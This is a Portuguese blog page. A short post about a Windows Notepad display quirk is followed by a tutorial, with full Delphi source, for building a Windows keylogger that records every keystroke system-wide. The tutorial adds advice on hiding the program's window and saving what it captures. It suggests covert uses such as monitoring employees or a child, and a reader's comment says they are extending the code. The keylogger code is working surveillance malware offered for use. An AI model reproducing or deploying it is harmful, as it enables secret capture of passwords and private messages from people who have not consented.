por Marcos elias
www.explorando.viamep.com
A Microsoft contra o Bush, no Bloco de notas!
Eu simplesmente não acreditei quando li (na revista Aprendiz de Hacker, logo indicarei ela aqui no Explorando)...
Abra o Bloco de notas do Windows. Digite isso:
Bush hid the facts
Se você não sabe inglês, saiba então que essa frase significa "Bush escondeu os fatos". Salve o arquivo (não coloque ponto no final). Salve como txt mesmo, com qualquer nome. Feche o bloco de notas, e abra o arquivo no bloco de notas novamente. Viu? Pois é...
O Office também tem suas pegadinhas... Devem ser feitas por programadores revoltados, fala sério. Deixa o Tio Bill saber disso... Hehehehe.
Não, é sério mesmo! Faça essa do bloco de notas no Windows XP ou Server 2003. Vai ficar um monte de quadradinhos, o bloco de notas esconderá essa frase!!!
Abrindo o mesmo arquivo no meu Mep Texto , ele abriu normal. Então o bloco de notas até salva o arquivo, mas se recusa a lê-lo se tiver esse conteúdo...
Testando em casa, vi que o mesmo funciona também se trocar "Bush" por "Google" ou "Bill", mas não alguns outros nomes (talvez hajam outros, claro)... Será que o Google ou o próprio Bill também esconde os fatos? Hehehe. (No XP não funcionou para Google nos meus testes, mas funcionou comigo no Server 2003 SP1) Erro ou teoria da conspiração??? Os dois, quem sabe... Pesquisando na net encontrei alguns comentários em inglês sobre isso (jogue no Google "Bush hid the facts", entre aspas, li justamente o http://www.hoax-slayer.com/bush-hid-the-facts-notepad.html indicado no comentário anônimo postado aqui - mas li antes de ler o comentário). Estarei atualizando este texto em breve, com base nas novas conclusões... A primeira impressão é que foi programado (pois realmente existem coisas ocultas em algumas versões do Office), a segunda impressão é de que é realmente um bug. Eu fico com a proposta de que foi programado... A menos que tenha o código-fonte do notepad.exe em mãos! Mas a teoria do bug tem lá seu sentido.
:::: Como criar um keylogger! (em Delphi) :::: |
por Marcos Elias
www.explorando.viamep.com
Essa dica de Delphi é muuuuito boa! Um tempão atrás disso... Finalmente achei algo significante... Use por sua conta e risco!!!
Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...
Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.
Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.
No código, defina a seguinte função:
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
E coloque no evento Timer do temporizador:
procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;
ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão ficará difícil captar neh.. rs
e ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..
Então... Rode o programa (tecle F9).
Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!
Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...
Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!
Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".
deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!
UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.
NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.





Um comentário:
Gostei do seu exemplo porém ele gera um executavel de quase 500 kb.
Minha solucao é utilizar funcoes API do Windows para criar as janelas ao inves de utilizar o FORM do Delphi.
Estou trabalhando em um KeyLogger tomando como base o seu código e funções API. Em breve eu postarei no meu blog, e se possivel de uma olhado.
Vlwww.
Postar um comentário